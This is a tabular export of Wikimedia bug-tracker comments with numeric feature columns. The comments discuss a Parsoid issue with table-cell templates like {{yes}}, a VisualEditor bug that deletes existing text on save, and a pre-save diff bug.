seen the style context closed.  It would still be an ""interesting""
editing challenge in VE -- some of the table style information would
be editable, some would come from the template (and be editable only
inside the template editor?).
 --scott",,,1375122625,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,4,,0.875,0.375,0.125,0.75,0.75,3.0,1.25,0.125,0.25,0.25,0.875,1.0,0.0,0.25,0.375,2.5,0.625,5.75,10.125,0.375,1.5,0.5,0.125,0.0,0.875,0.25,0.125,0.625,0.625,1.375,0.375,4.875,1.25,1.0,0.75,0.0,0.125,0.0,0.5,0.25,0.0,0.625,0.125,1.125,0.0,0.5,0.0,0.25,0.75,12.875,0.25,2.0,0.25,0.5,0.5,0.0,0.0,0.25,0.625,0.0,0.25,1.125,0.0,0.125,0.0,0.25,0.0,6.0,2.875,4.875,2.25,2.625,9.0,0.0,0.0,0.125,0.0,5.0,0.375,0.125,0.0,4.25,10.125,2.125,0.375,1.25,0.0,4.25,0.0,0.875,2.0,0.0,1.625,0.25,0.25,0.125,3.6341077400860007,0.6901725991399905,"From an email thread with Subbu & C.Scott:

Subbu writes:

Gabriel and I started discussing this the week before he headed out on vacation ... we'll continue once he is back ... we might either have to hack or use other tricks to support these templates.  A bot pass (URL is one idea we've considered (first fix up the templates, and then use a bot to go and fix pages that use the templates).

---
I asked:

If we wanted to improve the markup of these templates so they can be more sanely parsed, what instructions would we provide?

---
Subbu responds:

Instead of generating just style attributes of a table cell, make the ""|"" char part of the template.  So, the templates should produce a styled-cell rather than just the cell-style. And, that also means that the pages that use these should not have ""|"" char before the transclusion -- but we may be able to work around by recognizing that pattern (I say that without working through the details).

So, instead of (old wikitext):
{|
| {{yes}}
|}

they would have to code this as:
{|
{{yes}}
|}

Looks like there are quite a few of these here: URL  I haven't investigated all the various ways these templates are used, but at first pass, I think that approach should fix the problem.

---

C.Scott responds:

It's probably worth bringing the VE team into this discussion.  I
think that VE would probably struggle trying to edit table cell(s)
generated with a template containing a style + cell contents in this
fashion and/or have difficulty processing whatever markup we decide
Parsoid ""should"" generate for this case.  My intuition is that fixing
the templates to include the leading vertical bar, so that the
template is clearly a cell, not part-of-a-cell, is a better long-term
solution for editing (Parsoid+VE).  It seems like a bot to make this
change could be implemented + deployed relatively quickly, although I
haven't actually written a bot before, maybe there are community or
other factors limiting the speed at which bot edits are made?
 --scott
ps. who'd be interested in writing said bot, because he's never done
that before, although I suspect it would be best farmed off to someone
who's done this sort of thing before.

And also adds:

Note that there are some anomalous usages, for example:

! {{yes}}
| rowspan=2 {{n/a}}

The first case would have to be {{yes|type=header}} and the second
something like {{n/a|rowspan=2}}, both with additional changes to the
table cell template.  In other words, the issue isn't just that the
style and cell content boundary is spanned, it's that some of the
style comes from outside the template and some comes from inside.

I still think a bot might be the best long-term fix, but it's not
entirely straightforward.  If we were to fix it inside parsoid, we'd
have to introduce something like an ""open style context"", probably
buffering the style information and spitting it out only after we've
seen the style context closed.  It would still be an ""interesting""
editing challenge in VE -- some of the table style information would
be editable, some would come from the template (and be editable only
inside the template editor?).
 --scott"
213756,Template creating CSS in a table's cell does not come through,"Bumping up the importance, per comment 7.",,,1374874237,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.888888888888889,1.0,"Bumping up the importance, per comment 7."
213752,Template creating CSS in a table's cell does not come through,"**kwwilliams** wrote:

This one as well: http://en.wikipedia.org/w/index.php?title=List_of_Big_Time_Rush_episodes&diff=prev&oldid=565906957

This really isn't a ""low importance"" bug by any stretch of the imagination. It affects most discographies, most television episode lists, and most award lists.",,,1374858786,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,3,,2.0,0.0,0.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,9.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,3.74468085106383,0.7446808510638298,"**kwwilliams** wrote:

This one as well: URL

This really isn't a ""low importance"" bug by any stretch of the imagination. It affects most discographies, most television episode lists, and most award lists."
213747,Template creating CSS in a table's cell does not come through,Could aftereffects of this be responsible for the nightmare at https://en.wikipedia.org/w/index.php?title=Bosnia_and_Herzegovina_in_the_Eurovision_Song_Contest&diff=565659865&oldid=565498623 ?,,,1374704447,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,25.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,Could aftereffects of this be responsible for the nightmare at URL ?
213743,Template creating CSS in a table's cell does not come through,*** Bug 50366 has been marked as a duplicate of this bug. ***,,,1374455443,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50366 has been marked as a duplicate of this bug. ***
213737,Template creating CSS in a table's cell does not come through,"There are many templates in this set.
https://en.wikipedia.org/wiki/Template:Table_cell_templates

And the most commonly used ones are copied to other languages.  See the interwikis for {{Yes}}
https://en.wikipedia.org/wiki/Template:Yes",,,1374454995,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,3,,3.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,17.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.4285714285714284,0.8,"There are many templates in this set.
URL

And the most commonly used ones are copied to other languages.  See the interwikis for {{Yes}}
URL"
213730,Template creating CSS in a table's cell does not come through,*** Bug 50772 has been marked as a duplicate of this bug. ***,,,1374454764,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50772 has been marked as a duplicate of this bug. ***
213720,Template creating CSS in a table's cell does not come through,"This will be hard to support, as the nested template produces part of the table cell syntax plus the table cell content. Moving the pipe starting the table cell into the template would avoid this issue as the template would then expand to a self-contained table cell with content.

Are there other templates following this pattern apart from Yes (and probably No)?",,,1360210956,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,1,True,,,-21,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,30.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,7.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,4.28169014084507,0.7183098591549296,"This will be hard to support, as the nested template produces part of the table cell syntax plus the table cell content. Moving the pipe starting the table cell into the template would avoid this issue as the template would then expand to a self-contained table cell with content.

Are there other templates following this pattern apart from Yes (and probably No)?"
213713,Template creating CSS in a table's cell does not come through,"This is a Parsoid bug; couldn't find the master with which to mark as dupe (sorry, Gabriel!).",,,1360209226,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jer6pedsydbmctp5xlhb,task_subcomment,,True,c1,1,True,,,-21,,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,0.0,0.0,17.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.2083333333333335,1.0,"This is a Parsoid bug; couldn't find the master with which to mark as dupe (sorry, Gabriel!)."
46479,VisualEditor: Parsoid/aliens combinations causes data to be over-written on save,"diff about to delete existing text

I've seen this a few times and I think this is the simplest reproduction. 

Start with a page that has a line of text ""this text should be preserved but is not""

In VE, position the cursor at the front of the line and move it two spaces down. 

Move the cursor back to the top of the page. 

Type a new line ""totally different stuff""

Save.  Note the incorrect diff. The string ""this text should be preserved but is not"" has been deleted erroneously upon save.  

Repeat the operation but this time use strings that share words, like ""this text should be preserved"" and ""this text is new""

The behavior is the same, the old text is erroneously deleted, but the diff seems to have intertwined the two strings, keeping their common elements.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://en.wikipedia.org/w/index.php?title=User:Cmcmahon(WMF)&oldid=535559576

**Attached**: {F10454}",High,80.0,1359488700,1366396947.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-ok3b6bw3cne4xry4dq2k,task_description,resolved,True,c1,1,False,False,True,-22,,0.3333333333333333,0.0,0.3333333333333333,1.6666666666666667,0.6666666666666666,4.666666666666667,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,2.0,4.333333333333333,0.0,0.6666666666666666,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.333333333333333,1.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,2.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,12.0,0.3333333333333333,2.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,7.0,3.6666666666666665,7.0,0.3333333333333333,2.3333333333333335,9.333333333333334,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,0.6666666666666666,0.0,1.3333333333333333,4.333333333333333,1.3333333333333333,0.0,3.3333333333333335,0.0,1.3333333333333333,0.0,0.6666666666666666,1.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,3.5916494133885437,0.6440303657694962,"diff about to delete existing text

I've seen this a few times and I think this is the simplest reproduction. 

Start with a page that has a line of text ""this text should be preserved but is not""

In VE, position the cursor at the front of the line and move it two spaces down. 

Move the cursor back to the top of the page. 

Type a new line ""totally different stuff""

Save.  Note the incorrect diff. The string ""this text should be preserved but is not"" has been deleted erroneously upon save.  

Repeat the operation but this time use strings that share words, like ""this text should be preserved"" and ""this text is new""

The behavior is the same, the old text is erroneously deleted, but the diff seems to have intertwined the two strings, keeping their common elements.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL

**Attached**: {F10454}"
212734,VisualEditor: Parsoid/aliens combinations causes data to be over-written on save,"This is now fixed given the Parsoid update. Sorry for the delay! (Note that there is a distinct error that this has just thrown up, yayfuntimes.)",,,1366396947,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ok3b6bw3cne4xry4dq2k,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,12.0,6.0,0.0,16.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.75,0.875,"This is now fixed given the Parsoid update. Sorry for the delay! (Note that there is a distinct error that this has just thrown up, yayfuntimes.)"
212730,VisualEditor: Parsoid/aliens combinations causes data to be over-written on save,"Created attachment 11741
'text should be preserved' is not

real screen shot from real computer, my apologies

**Attached**: {F10457}",,,1360210415,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-ok3b6bw3cne4xry4dq2k,task_subcomment,,True,c1,1,False,,,-21,,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,3.0,6.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6875,0.8125,"Created attachment 11741
'text should be preserved' is not

real screen shot from real computer, my apologies

**Attached**: {F10457}"
212726,VisualEditor: Parsoid/aliens combinations causes data to be over-written on save,"Created attachment 11740
text with string that will be deleted before save

real screen shot from real computer

**Attached**: {F10456}",,,1360210348,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-ok3b6bw3cne4xry4dq2k,task_subcomment,,True,c1,1,False,,,-21,,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.966666666666667,0.8333333333333334,"Created attachment 11740
text with string that will be deleted before save

real screen shot from real computer

**Attached**: {F10456}"
212723,VisualEditor: Parsoid/aliens combinations causes data to be over-written on save,This looks to be a Parsoid bug (and is highly dependent on the rest of the page's content); will re-visit when Parsoid is updated before progressing.,,,1360208728,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ok3b6bw3cne4xry4dq2k,task_subcomment,,True,c1,1,True,,,-21,,0.0,0.0,3.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,3.0,3.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,15.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.757575757575758,0.9090909090909091,This looks to be a Parsoid bug (and is highly dependent on the rest of the page's content); will re-visit when Parsoid is updated before progressing.
212721,VisualEditor: Parsoid/aliens combinations causes data to be over-written on save,"The content of attachment 11709 has been deleted by
    James Forrester <jforrester@wikimedia.org>
who provided the following reason:

Not intended to be on Bugzilla?

The token used to delete this attachment was generated at 2013-02-07 03:38:14 UTC.",,,1360208305,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ok3b6bw3cne4xry4dq2k,task_subcomment,,True,c1,1,True,,,-21,,0.0,0.0,0.0,4.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,14.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,10.0,0.0,0.0,12.0,8.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,4.469387755102041,0.8979591836734694,"The content of attachment 11709 has been deleted by
    James Forrester <jforrester@wikimedia.org>
who provided the following reason:

Not intended to be on Bugzilla?

The token used to delete this attachment was generated at 2013-02-07 03:38:14 UTC."
212719,VisualEditor: Parsoid/aliens combinations causes data to be over-written on save,"The content of attachment 11710 has been deleted by
    James Forrester <jforrester@wikimedia.org>
without providing any reason.

The token used to delete this attachment was generated at 2013-02-07 03:36:53 UTC.",,,1360208263,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ok3b6bw3cne4xry4dq2k,task_subcomment,,True,c1,1,True,,,-21,,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,12.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,4.675,0.9,"The content of attachment 11710 has been deleted by
    James Forrester <jforrester@wikimedia.org>
without providing any reason.

The token used to delete this attachment was generated at 2013-02-07 03:36:53 UTC."
212716,VisualEditor: Parsoid/aliens combinations causes data to be over-written on save,"(In reply to comment #2)
> Created attachment 11709 [details]
> preview of page before save has correct text

(In reply to comment #3)
> Created attachment 11710 [details]
> saved page, existing text deleted erroneously
Ahm.... these are pictures of deer. Just sayin'.

//attachment 2012-12-30 11.02.48.jpg ignored as obsolete//",,,1360208240,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-ok3b6bw3cne4xry4dq2k,task_subcomment,,True,c1,1,False,,,-21,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,16.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,0.0,14.0,0.0,0.0,12.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.326530612244898,0.6530612244897959,"(In reply to comment #2)
QUOTE
QUOTE

(In reply to comment #3)
QUOTE
QUOTE
Ahm.... these are pictures of deer. Just sayin'.

//attachment 2012-12-30 11.02.48.jpg ignored as obsolete//"
212713,VisualEditor: Parsoid/aliens combinations causes data to be over-written on save,"Created attachment 11710
saved page, existing text deleted erroneously

//attachment 2013-01-13 15.01.28.jpg ignored as obsolete//",,,1359488894,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-ok3b6bw3cne4xry4dq2k,task_subcomment,,True,c1,1,False,,,-22,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.363636363636363,0.9545454545454546,"Created attachment 11710
saved page, existing text deleted erroneously

//attachment 2013-01-13 15.01.28.jpg ignored as obsolete//"
212710,VisualEditor: Parsoid/aliens combinations causes data to be over-written on save,"Created attachment 11709
preview of page before save has correct text

//attachment 2012-12-30 11.02.48.jpg ignored as obsolete//",,,1359488849,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-ok3b6bw3cne4xry4dq2k,task_subcomment,,True,c1,1,False,,,-22,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.9565217391304348,"Created attachment 11709
preview of page before save has correct text

//attachment 2012-12-30 11.02.48.jpg ignored as obsolete//"
212706,VisualEditor: Parsoid/aliens combinations causes data to be over-written on save,"Created attachment 11708
better view of intertwined strings

**Attached**: {F10455}",,,1359488791,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-ok3b6bw3cne4xry4dq2k,task_subcomment,,True,c1,1,False,,,-22,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.0,0.8421052631578947,"Created attachment 11708
better view of intertwined strings

**Attached**: {F10455}"
46446,VisualEditor: Pre-save diff for new pages doesn't alter when aborted and restarted,"Go to a new page. Enter some content. Press review-and-save. Observe diff. Press the ""leave this context"" button (""^""). Change the content. Press review-and-save again. Observe diff.

Expectation: The diff shows the changes against the new content.
Reality: The diff shows the changes against the original content (not re-done).

--------------------------
**Version**: unspecified
